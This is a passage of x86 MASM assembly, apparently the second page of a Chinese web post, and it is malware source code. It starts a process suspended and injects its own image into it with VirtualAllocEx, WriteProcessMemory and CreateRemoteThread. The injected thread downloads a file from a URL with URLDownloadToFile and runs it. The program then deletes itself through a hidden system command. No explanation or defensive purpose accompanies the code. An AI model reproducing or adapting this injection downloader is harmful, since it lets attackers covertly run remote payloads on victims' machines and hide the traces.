szCmdline,NULL,NULL,NULL,FALSE,create_SUSPENDED,NULL,NULL,offset startupinfo,offset pi
lea esi,offset pi
assume esi:ptr PROCESS_INFORMATION
mov eax,[esi].dwProcessId
mov pid,eax
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid
mov hProcess,eax
invoke VirtualAllocEx,hProcess,hModule,cbSize,MEM_COMMIT or

MEM_RESERVE,PAGE_EXECUTE_READWRITE
invoke WriteProcessMemory,hProcess,eax,hModule,cbSize,offset cdWritten
invoke createRemoteThread,hProcess,0,0,addr Download,hModule,0,ebx
mov hThread,eax
invoke WaitForSingleObject,hThread,INFINITE
invoke CloseHandle,hThread
invoke CloseHandle,hProcess
deleteSelf:
invoke GetModuleFileName,NULL,offset SelfPath,MAX_PATH
invoke GetSystemDirectory,offset szCmd,MAX_PATH
invoke lstrcat,offset szCmd,offset szAdd
invoke lstrcat,offset szCmd,offset SelfPath
invoke lstrcat,offset szCmd,offset quote
invoke Sleep,200
invoke WinExec,offset szCmd,SW_HIDE
invoke ExitProcess,0

Download proc
invoke LoadLibrary,offset szUrlmon
invoke URLDownloadToFile,NULL,offset szURL,offset szFile,0,NULL
invoke WinExec,offset szFile,SW_SHOW
invoke ExitThread,0
Download endp
end start

上一页  [1] [2]